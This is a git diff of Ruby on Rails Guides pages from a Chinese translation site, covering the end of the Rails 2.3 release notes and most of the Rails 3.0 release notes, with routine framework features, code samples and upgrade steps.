6.2 Smart Rendering of Partials

The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming):

+
+# Equivalent of render :partial => 'articles/_article',
+# :object => @article
+render @article
+
+# Equivalent of render :partial => 'articles/_article',
+# :collection => @articles
+render @articles
+
+
+
+ + +

6.3 Prompts for Date Select Helpers

In Rails 2.3, you can supply custom prompts for the various date select helpers (date_select, time_select, and datetime_select), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set :prompt to true to use the custom generic prompt:

+
+select_datetime(DateTime.now, :prompt => true)
+
+select_datetime(DateTime.now, :prompt => "Choose date and time")
+
+select_datetime(DateTime.now, :prompt =>
+  {:day => 'Choose day', :month => 'Choose month',
+   :year => 'Choose year', :hour => 'Choose hour',
+   :minute => 'Choose minute'})
+
+
+
+ + +

6.4 AssetTag Timestamp Caching

You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the cache_asset_timestamps configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients.

6.5 Asset Hosts as Objects

Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to implement any complex logic you need in your asset hosting.

+ +

6.6 grouped_options_for_select Helper Method

Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: grouped_options_for_select. This one accepts an array or hash of strings, and converts them into a string of option tags wrapped with optgroup tags. For example:

+
+grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]],
+  "Cowboy Hat", "Choose a product...")
+
+
+
+

returns

+
+<option value="">Choose a product...</option>
+<optgroup label="Hats">
+  <option value="Baseball Cap">Baseball Cap</option>
+  <option selected="selected" value="Cowboy Hat">Cowboy Hat</option>
+</optgroup>
+
+
+
+

6.7 Disabled Option Tags for Form Select Helpers

The form select helpers (such as select and options_for_select) now support a :disabled option, which can take a single value or an array of values to be disabled in the resulting tags:

+
+select(:post, :category, Post::CATEGORIES, :disabled => 'private')
+
+
+
+

returns

+
+<select name="post[category]">
+<option>story</option>
+<option>joke</option>
+<option>poem</option>
+<option disabled="disabled">private</option>
+</select>
+
+
+
+

You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled:

+
+options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?})
+
+
+
+ + +

6.8 A Note About Template Loading

Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server.

In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your production.rb file:

+
+config.action_view.cache_template_loading = true
+
+
+
+

This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development.

6.9 Other Action View Changes

+
    +
  • Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by ActiveSupport::SecureRandom rather than mucking around with session IDs.
  • +
  • +auto_link now properly applies options (such as :target and :class) to generated e-mail links.
  • +
  • The autolink helper has been refactored to make it a bit less messy and more intuitive.
  • +
  • +current_page? now works properly even when there are multiple query parameters in the URL.
  • +
+

7 Active Support

Active Support has a few interesting changes, including the introduction of Object#try.

7.1 Object#try

A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like <%= @person.try(:name) %>. Well, now it's baked right into Rails. As implemented in Rails, it raises NoMethodError on private methods and always returns nil if the object is nil.

+
    +
  • More Information: try() +
  • +
+

7.2 Object#tap Backport

Object#tap is an addition to Ruby 1.9 and 1.8.7 that is similar to the returning method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.

7.3 Swappable Parsers for XMLmini

The support for XML parsing in Active Support has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed:

+
+XmlMini.backend = 'LibXML'
+
+
+
+ + +

7.4 Fractional seconds for TimeWithZone

The Time and TimeWithZone classes include an xmlschema method to return the time in an XML-friendly string. As of Rails 2.3, TimeWithZone supports the same argument for specifying the number of digits in the fractional second part of the returned string that Time does:

+
+>> Time.zone.now.xmlschema(6)
+=> "2009-01-16T13:00:06.13653Z"
+
+
+
+ + +

7.5 JSON Key Quoting

If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys.

7.6 Other Active Support Changes

+
    +
  • You can use Enumerable#none? to check that none of the elements match the supplied block.
  • +
  • If you're using Active Support delegates the new :allow_nil option lets you return nil instead of raising an exception when the target object is nil.
  • +
  • +ActiveSupport::OrderedHash: now implements each_key and each_value.
  • +
  • +ActiveSupport::MessageEncryptor provides a simple way to encrypt information for storage in an untrusted location (like cookies).
  • +
  • Active Support's from_xml no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around.
  • +
  • If you memoize a private method, the result will now be private.
  • +
  • +String#parameterize accepts an optional separator: "Quick Brown Fox".parameterize('_') => "quick_brown_fox".
  • +
  • +number_to_phone accepts 7-digit phone numbers now.
  • +
  • +ActiveSupport::Json.decode now handles \u0000 style escape sequences.
  • +
+

8 Railties

In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces.

8.1 Rails Metal

Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.

+ +

8.2 Application Templates

Rails 2.3 incorporates Jeremy McAnally's rg application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the rails command. There's also a rake task to apply a template to an existing application:

+
+rake rails:template LOCATION=~/template.rb
+
+
+
+

This will layer the changes from the template on top of whatever code the project already contains.

+ +

8.3 Quieter Backtraces

Building on thoughtbot's Quiet Backtrace plugin, which allows you to selectively remove lines from Test::Unit backtraces, Rails 2.3 implements ActiveSupport::BacktraceCleaner and Rails::BacktraceCleaner in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a config/backtrace_silencers.rb file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace.

8.4 Faster Boot Time in Development Mode with Lazy Loading/Autoload

Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using autoload to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.

You can also specify (by using the new preload_frameworks option) whether the core libraries should be autoloaded at startup. This defaults to false so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together.

8.5 rake gem Task Rewrite

The internals of the various rake gem tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and for dependencies that try to bring in external copies of gems that are already vendored.

+ +

8.6 Other Railties Changes

+
    +
  • The instructions for updating a CI server to build Rails have been updated and expanded.
  • +
  • Internal Rails testing has been switched from Test::Unit::TestCase to ActiveSupport::TestCase, and the Rails core requires Mocha to test.
  • +
  • The default environment.rb file has been decluttered.
  • +
  • The dbconsole script now lets you use an all-numeric password without crashing.
  • +
  • +Rails.root now returns a Pathname object, which means you can use it directly with the join method to clean up existing code that uses File.join.
  • +
  • Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding --with-dispatchers when you run the rails command, or add them later with rake rails:update:generate_dispatchers).
  • +
  • Rails Guides have been converted from AsciiDoc to Textile markup.
  • +
  • Scaffolded views and controllers have been cleaned up a bit.
  • +
  • +script/server now accepts a --path argument to mount a Rails application from a specific path.
  • +
  • If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing.
  • +
  • Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files.
  • +
+

9 Deprecated

A few pieces of older code are deprecated in this release:

+
    +
  • If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the irs_process_scripts plugin.
  • +
  • +render_component goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the render_component plugin.
  • +
  • Support for Rails components has been removed.
  • +
  • If you were one of the people who got used to running script/performance/request to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There's a new request_profiler plugin that you can install to get the exact same functionality back.
  • +
  • +ActionController::Base#session_enabled? is deprecated because sessions are lazy-loaded now.
  • +
  • The :digest and :secret options to protect_from_forgery are deprecated and have no effect.
  • +
  • Some integration test helpers have been removed. response.headers["Status"] and headers["Status"] will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the status and status_message helpers. response.headers["cookie"] and headers["cookie"] will no longer return any CGI cookies. You can inspect headers["Set-Cookie"] to see the raw cookie header or use the cookies helper to get a hash of the cookies sent to the client.
  • +
  • +formatted_polymorphic_url is deprecated. Use polymorphic_url with :format instead.
  • +
  • The :http_only option in ActionController::Response#set_cookie has been renamed to :httponly.
  • +
  • The :connector and :skip_last_comma options of to_sentence have been replaced by :words_connnector, :two_words_connector, and :last_word_connector options.
  • +
  • Posting a multipart form with an empty file_field control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one.
  • +
+

10 Credits

Release notes compiled by Mike Gunderloy. This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/3_0_release_notes.html b/3_0_release_notes.html new file mode 100644 index 0000000..43ba6ef --- /dev/null +++ b/3_0_release_notes.html @@ -0,0 +1,780 @@ + + + + + + + +Ruby on Rails 3.0 Release Notes — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Ruby on Rails 3.0 Release Notes

Rails 3.0 is ponies and rainbows! It's going to cook you dinner and fold your laundry. You're going to wonder how life was ever possible before it arrived. It's the Best Version of Rails We've Ever Done!

But seriously now, it's really good stuff. There are all the good ideas brought over from when the Merb team joined the party and brought a focus on framework agnosticism, slimmer and faster internals, and a handful of tasty APIs. If you're coming to Rails 3.0 from Merb 1.x, you should recognize lots. If you're coming from Rails 2.x, you're going to love it too.

Even if you don't give a hoot about any of our internal cleanups, Rails 3.0 is going to delight. We have a bunch of new features and improved APIs. It's never been a better time to be a Rails developer. Some of the highlights are:

+ +

On top of all that, we've tried our best to deprecate the old APIs with nice warnings. That means that you can move your existing application to Rails 3 without immediately rewriting all your old code to the latest best practices.

These release notes cover the major upgrades, but don't include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the list of commits in the main Rails repository on GitHub.

+ + + +
+
+ +
+
+
+

To install Rails 3:

+
+# Use sudo if your setup requires it
+$ gem install rails
+
+
+
+

1 Upgrading to Rails 3

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 2.3.5 and make sure your application still runs as expected before attempting to update to Rails 3. Then take heed of the following changes:

1.1 Rails 3 requires at least Ruby 1.8.7

Rails 3.0 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.0 is also compatible with Ruby 1.9.2.

Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing.

1.2 Rails Application object

As part of the groundwork for supporting running multiple Rails applications in the same process, Rails 3 introduces the concept of an Application object. An application object holds all the application specific configurations and is very similar in nature to config/environment.rb from the previous versions of Rails.

Each Rails application now must have a corresponding application object. The application object is defined in config/application.rb. If you're upgrading an existing application to Rails 3, you must add this file and move the appropriate configurations from config/environment.rb to config/application.rb.

1.3 script/* replaced by script/rails

The new script/rails replaces all the scripts that used to be in the script directory. You do not run script/rails directly though, the rails command detects it is being invoked in the root of a Rails application and runs the script for you. Intended usage is:

+
+$ rails console                      # instead of script/console
+$ rails g scaffold post title:string # instead of script/generate scaffold post title:string
+
+
+
+

Run rails --help for a list of all the options.

1.4 Dependencies and config.gem

The config.gem method is gone and has been replaced by using bundler and a Gemfile, see Vendoring Gems below.

1.5 Upgrade Process

To help with the upgrade process, a plugin named Rails Upgrade has been created to automate part of it.

Simply install the plugin, then run rake rails:upgrade:check to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a Gemfile based on your current config.gem calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following:

+
+$ ruby script/plugin install git://github.com/rails/rails_upgrade.git
+
+
+
+

You can see an example of how that works at Rails Upgrade is now an Official Plugin

Aside from Rails Upgrade tool, if you need more help, there are people on IRC and rubyonrails-talk that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge!

2 Creating a Rails 3.0 application

+
+# You should have the 'rails' RubyGem installed
+$ rails new myapp
+$ cd myapp
+
+
+
+

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems you require for your application to start. This Gemfile is processed by the Bundler which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: - bundler homepage

2.2 Living on the Edge

Bundler and Gemfile makes freezing your Rails application easy as pie with the new dedicated bundle command, so rake freeze is no longer relevant and has been dropped.

If you want to bundle straight from the Git repository, you can pass the --edge flag:

+
+$ rails new myapp --edge
+
+
+
+

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the --dev flag:

+
+$ ruby /path/to/rails/bin/rails new myapp --dev
+
+
+
+

3 Rails Architectural Changes

There are six major changes in the architecture of Rails.

3.1 Railties Restrung

Railties was updated to provide a consistent plugin API for the entire Rails framework as well as a total rewrite of generators and the Rails bindings, the result is that developers can now hook into any significant stage of the generators and application framework in a consistent, defined manner.

3.2 All Rails core components are decoupled

With the merge of Merb and Rails, one of the big jobs was to remove the tight coupling between Rails core components. This has now been achieved, and all Rails core components are now using the same API that you can use for developing plugins. This means any plugin you make, or any core component replacement (like DataMapper or Sequel) can access all the functionality that the Rails core components have access to and extend and enhance at will.

More information: - The Great Decoupling

3.3 Active Model Abstraction

Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.

More information: - Make Any Ruby Object Feel Like ActiveRecord

3.4 Controller Abstraction

Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views etc. This creation of AbstractController allowed ActionController and ActionMailer to be greatly simplified with common code removed from all these libraries and put into Abstract Controller.

More Information: - Rails Edge Architecture

3.5 Arel Integration

Arel (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record.

More information: - Why I wrote Arel

3.6 Mail Extraction

Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the Mail gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser.

More information: - New Action Mailer API in Rails 3

4 Documentation

The documentation in the Rails tree is being updated with all the API changes, additionally, the Rails Edge Guides are being updated one by one to reflect the changes in Rails 3.0. The guides at guides.rubyonrails.org however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released).

More Information: - Rails Documentation Projects

5 Internationalization

A large amount of work has been done with I18n support in Rails 3, including the latest I18n gem supplying many speed improvements.

+
    +
  • I18n for any object - I18n behavior can be added to any object by including ActiveModel::Translation and ActiveModel::Validations. There is also an errors.messages fallback for translations.
  • +
  • Attributes can have default translations.
  • +
  • Form Submit Tags automatically pull the correct status (Create or Update) depending on the object status, and so pull the correct translation.
  • +
  • Labels with I18n also now work by just passing the attribute name.
  • +
+

More Information: - Rails 3 I18n changes

6 Railties

With the decoupling of the main Rails frameworks, Railties got a huge overhaul so as to make linking up frameworks, engines or plugins as painless and extensible as possible:

+
    +
  • Each application now has its own name space, application is started with YourAppName.boot for example, makes interacting with other applications a lot easier.
  • +
  • Anything under Rails.root/app is now added to the load path, so you can make app/observers/user_observer.rb and Rails will load it without any modifications.
  • +
  • +

    Rails 3.0 now provides a Rails.config object, which provides a central repository of all sorts of Rails wide configuration options.

    +

    Application generation has received extra flags allowing you to skip the installation of test-unit, Active Record, Prototype and Git. Also a new --dev flag has been added which sets the application up with the Gemfile pointing to your Rails checkout (which is determined by the path to the rails binary). See rails --help for more info.

    +
  • +
+

Railties generators got a huge amount of attention in Rails 3.0, basically:

+
    +
  • Generators were completely rewritten and are backwards incompatible.
  • +
  • Rails templates API and generators API were merged (they are the same as the former).
  • +
  • Generators are no longer loaded from special paths anymore, they are just found in the Ruby load path, so calling rails generate foo will look for generators/foo_generator.
  • +
  • New generators provide hooks, so any template engine, ORM, test framework can easily hook in.
  • +
  • New generators allow you to override the templates by placing a copy at Rails.root/lib/templates.
  • +
  • +Rails::Generators::TestCase is also supplied so you can create your own generators and test them.
  • +
+

Also, the views generated by Railties generators had some overhaul:

+
    +
  • Views now use div tags instead of p tags.
  • +
  • Scaffolds generated now make use of _form partials, instead of duplicated code in the edit and new views.
  • +
  • Scaffold forms now use f.submit which returns "Create ModelName" or "Update ModelName" depending on the state of the object passed in.
  • +
+

Finally a couple of enhancements were added to the rake tasks:

+
    +
  • +rake db:forward was added, allowing you to roll forward your migrations individually or in groups.
  • +
  • +rake routes CONTROLLER=x was added allowing you to just view the routes for one controller.
  • +
+

Railties now deprecates:

+
    +
  • +RAILS_ROOT in favor of Rails.root,
  • +
  • +RAILS_ENV in favor of Rails.env, and
  • +
  • +RAILS_DEFAULT_LOGGER in favor of Rails.logger.
  • +
+

PLUGIN/rails/tasks, and PLUGIN/tasks are no longer loaded all tasks now must be in PLUGIN/lib/tasks.

More information:

+ +

7 Action Pack

There have been significant internal and external changes in Action Pack.

7.1 Abstract Controller

Abstract Controller pulls out the generic parts of Action Controller into a reusable module that any library can use to render templates, render partials, helpers, translations, logging, any part of the request response cycle. This abstraction allowed ActionMailer::Base to now just inherit from AbstractController and just wrap the Rails DSL onto the Mail gem.

It also provided an opportunity to clean up Action Controller, abstracting out what could to simplify the code.

Note however that Abstract Controller is not a user facing API, you will not run into it in your day to day use of Rails.

More Information: - Rails Edge Architecture

7.2 Action Controller

+
    +
  • +application_controller.rb now has protect_from_forgery on by default.
  • +
  • The cookie_verifier_secret has been deprecated and now instead it is assigned through Rails.application.config.cookie_secret and moved into its own file: config/initializers/cookie_verification_secret.rb.
  • +
  • The session_store was configured in ActionController::Base.session, and that is now moved to Rails.application.config.session_store. Defaults are set up in config/initializers/session_store.rb.
  • +
  • +cookies.secure allowing you to set encrypted values in cookies with cookie.secure[:key] => value.
  • +
  • +cookies.permanent allowing you to set permanent values in the cookie hash cookie.permanent[:key] => value that raise exceptions on signed values if verification failures.
  • +
  • You can now pass :notice => 'This is a flash message' or :alert => 'Something went wrong' to the format call inside a respond_to block. The flash[] hash still works as previously.
  • +
  • +respond_with method has now been added to your controllers simplifying the venerable format blocks.
  • +
  • +ActionController::Responder added allowing you flexibility in how your responses get generated.
  • +
+

Deprecations:

+
    +
  • +filter_parameter_logging is deprecated in favor of config.filter_parameters << :password.
  • +
+

More Information:

+ +

7.3 Action Dispatch

Action Dispatch is new in Rails 3.0 and provides a new, cleaner implementation for routing.

+
    +
  • Big clean up and re-write of the router, the Rails router is now rack_mount with a Rails DSL on top, it is a stand alone piece of software.
  • +
  • +

    Routes defined by each application are now name spaced within your Application module, that is:

    +
    +
    +# Instead of:
    +
    +ActionController::Routing::Routes.draw do |map|
    +  map.resources :posts
    +end
    +
    +# You do:
    +
    +AppName::Application.routes do
    +  resources :posts
    +end
    +
    +
    +
    +
  • +
  • Added match method to the router, you can also pass any Rack application to the matched route.

  • +
  • Added constraints method to the router, allowing you to guard routers with defined constraints.

  • +
  • +

    Added scope method to the router, allowing you to namespace routes for different languages or different actions, for example:

    +
    +
    +scope 'es' do
    +  resources :projects, :path_names => { :edit => 'cambiar' }, :path => 'proyecto'
    +end
    +
    +# Gives you the edit action with /es/proyecto/1/cambiar
    +
    +
    +
    +
  • +
  • Added root method to the router as a short cut for match '/', :to => path.

  • +
  • You can pass optional segments into the match, for example match "/:controller(/:action(/:id))(.:format)", each parenthesized segment is optional.

  • +
  • Routes can be expressed via blocks, for example you can call controller :home { match '/:action' }.

  • +
+

The old style map commands still work as before with a backwards compatibility layer, however this will be removed in the 3.1 release.

Deprecations

+
    +
  • The catch all route for non-REST applications (/:controller/:action/:id) is now commented out.
  • +
  • Routes :path_prefix no longer exists and :name_prefix now automatically adds "_" at the end of the given value.
  • +
+

More Information: +* The Rails 3 Router: Rack it Up +* Revamped Routes in Rails 3 +* Generic Actions in Rails 3

7.4 Action View

7.4.1 Unobtrusive JavaScript

Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers.

What this means is that all previous remote_<method> helpers have been removed from Rails core and put into the Prototype Legacy Helper. To get UJS hooks into your HTML, you now pass :remote => true instead. For example:

+
+form_for @post, :remote => true
+
+
+
+

Produces:

+
+<form action="http://host.com/" id="create-post" method="post" data-remote="true">
+
+
+
+
7.4.2 Helpers with Blocks

Helpers like form_for or div_for that insert content from a block use <%= now:

+
+<%= form_for @post do |f| %>
+  ...
+<% end %>
+
+
+
+

Your own helpers of that kind are expected to return a string, rather than appending to the output buffer by hand.

Helpers that do something else, like cache or content_for, are not affected by this change, they need &lt;% as before.

7.4.3 Other Changes
+
    +
  • You no longer need to call h(string) to escape HTML output, it is on by default in all view templates. If you want the unescaped string, call raw(string).
  • +
  • Helpers now output HTML 5 by default.
  • +
  • Form label helper now pulls values from I18n with a single value, so f.label :name will pull the :name translation.
  • +
  • I18n select label on should now be :en.helpers.select instead of :en.support.select.
  • +
  • You no longer need to place a minus sign at the end of a Ruby interpolation inside an ERB template to remove the trailing carriage return in the HTML output.
  • +
  • Added grouped_collection_select helper to Action View.
  • +
  • +content_for? has been added allowing you to check for the existence of content in a view before rendering.
  • +
  • passing :value => nil to form helpers will set the field's value attribute to nil as opposed to using the default value
  • +
  • passing :id => nil to form helpers will cause those fields to be rendered with no id attribute
  • +
  • passing :alt => nil to image_tag will cause the img tag to render with no alt attribute
  • +
+

8 Active Model

Active Model is new in Rails 3.0. It provides an abstraction layer for any ORM libraries to use to interact with Rails by implementing an Active Model interface.

8.1 ORM Abstraction and Action Pack Interface

Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.

More Information: - Make Any Ruby Object Feel Like ActiveRecord

8.2 Validations

Validations have been moved from Active Record into Active Model, providing an interface to validations that works across ORM libraries in Rails 3.

+
    +
  • There is now a validates :attribute, options_hash shortcut method that allows you to pass options for all the validates class methods, you can pass more than one option to a validate method.
  • +
  • The validates method has the following options: + +
      +
    • +:acceptance => Boolean.
    • +
    • +:confirmation => Boolean.
    • +
    • +:exclusion => { :in => Enumerable }.
    • +
    • +:inclusion => { :in => Enumerable }.
    • +
    • +:format => { :with => Regexp, :on => :create }.
    • +
    • +:length => { :maximum => Fixnum }.
    • +
    • +:numericality => Boolean.
    • +
    • +:presence => Boolean.
    • +
    • +:uniqueness => Boolean.
    • +
    +
  • +
+

All the Rails version 2.3 style validation methods are still supported in Rails 3.0, the new validates method is designed as an additional aid in your model validations, not a replacement for the existing API.

You can also pass in a validator object, which you can then reuse between objects that use Active Model:

+
+class TitleValidator < ActiveModel::EachValidator
+  Titles = ['Mr.', 'Mrs.', 'Dr.']
+  def validate_each(record, attribute, value)
+    unless Titles.include?(value)
+      record.errors[attribute] << 'must be a valid title'
+    end
+  end
+end
+
+
+
+
+
+class Person
+  include ActiveModel::Validations
+  attr_accessor :title
+  validates :title, :presence => true, :title => true
+end
+
+# Or for Active Record
+
+class Person < ActiveRecord::Base
+  validates :title, :presence => true, :title => true
+end
+
+
+
+

There's also support for introspection:

+
+User.validators
+User.validators_on(:login)
+
+
+
+

More Information:

+ +

9 Active Record

Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1.

9.1 Query Interface

Active Record, through the use of Arel, now returns relations on its core methods. The existing API in Rails 2.3.x is still supported and will not be deprecated until Rails 3.1 and not removed until Rails 3.2, however, the new API provides the following new methods that all return relations allowing them to be chained together:

+
    +
  • +where - provides conditions on the relation, what gets returned.
  • +
  • +select - choose what attributes of the models you wish to have returned from the database.
  • +
  • +group - groups the relation on the attribute supplied.
  • +
  • +having - provides an expression limiting group relations (GROUP BY constraint).
  • +
  • +joins - joins the relation to another table.
  • +
  • +clause - provides an expression limiting join relations (JOIN constraint).
  • +
  • +includes - includes other relations pre-loaded.
  • +
  • +order - orders the relation based on the expression supplied.
  • +
  • +limit - limits the relation to the number of records specified.
  • +
  • +lock - locks the records returned from the table.
  • +
  • +readonly - returns an read only copy of the data.
  • +
  • +from - provides a way to select relationships from more than one table.
  • +
  • +scope - (previously named_scope) return relations and can be chained together with the other relation methods.
  • +
  • +with_scope - and with_exclusive_scope now also return relations and so can be chained.
  • +
  • +default_scope - also works with relations.
  • +
+

More Information:

+ +

9.2 Enhancements

+
    +
  • Added :destroyed? to Active Record objects.
  • +
  • Added :inverse_of to Active Record associations allowing you to pull the instance of an already loaded association without hitting the database.
  • +
+

9.3 Patches and Deprecations

Additionally, many fixes in the Active Record branch:

+
    +
  • SQLite 2 support has been dropped in favor of SQLite 3.
  • +
  • MySQL support for column order.
  • +
  • PostgreSQL adapter has had its TIME ZONE support fixed so it no longer inserts incorrect values.
  • +
  • Support multiple schemas in table names for PostgreSQL.
  • +
  • PostgreSQL support for the XML data type column.
  • +
  • +table_name is now cached.
  • +
  • A large amount of work done on the Oracle adapter as well with many bug fixes.
  • +
+

As well as the following deprecations:

+
    +
  • +named_scope in an Active Record class is deprecated and has been renamed to just scope.
  • +
  • In scope methods, you should move to using the relation methods, instead of a :conditions => {} finder method, for example scope :since, lambda {|time| where("created_at > ?", time) }.
  • +
  • +save(false) is deprecated, in favor of save(:validate => false).
  • +
  • I18n error messages for Active Record should be changed from :en.activerecord.errors.template to :en.errors.template.
  • +
  • +model.errors.on is deprecated in favor of model.errors[] +
  • +
  • validates_presence_of => validates... :presence => true
  • +
  • +ActiveRecord::Base.colorize_logging and config.active_record.colorize_logging are deprecated in favor of Rails::LogSubscriber.colorize_logging or config.colorize_logging +
  • +
+

While an implementation of State Machine has been in Active Record edge for some months now, it has been removed from the Rails 3.0 release.

10 Active Resource

Active Resource was also extracted out to Active Model allowing you to use Active Resource objects with Action Pack seamlessly.

+
    +
  • Added validations through Active Model.
  • +
  • Added observing hooks.
  • +
  • HTTP proxy support.
  • +
  • Added support for digest authentication.
  • +
  • Moved model naming into Active Model.
  • +
  • Changed Active Resource attributes to a Hash with indifferent access.
  • +
  • Added first, last and all aliases for equivalent find scopes.
  • +
  • +find_every now does not return a ResourceNotFound error if nothing returned.
  • +
  • Added save! which raises ResourceInvalid unless the object is valid?.
  • +
  • +update_attribute and update_attributes added to Active Resource models.
  • +
  • Added exists?.
  • +
  • Renamed SchemaDefinition to Schema and define_schema to schema.
  • +
  • Use the format of Active Resources rather than the content-type of remote errors to load errors.
  • +
  • Use instance_eval for schema block.
  • +
  • Fix ActiveResource::ConnectionError#to_s when @response does not respond to #code or #message, handles Ruby 1.9 compatibility.
  • +
  • Add support for errors in JSON format.
  • +
  • Ensure load works with numeric arrays.
  • +
  • Recognizes a 410 response from remote resource as the resource has been deleted.
  • +
  • Add ability to set SSL options on Active Resource connections.
  • +
  • Setting connection timeout also affects Net::HTTP open_timeout.
  • +
+

Deprecations:

+
    +
  • +save(false) is deprecated, in favor of save(:validate => false).
  • +
  • Ruby 1.9.2: URI.parse and .decode are deprecated and are no longer used in the library.
  • +
+

11 Active Support

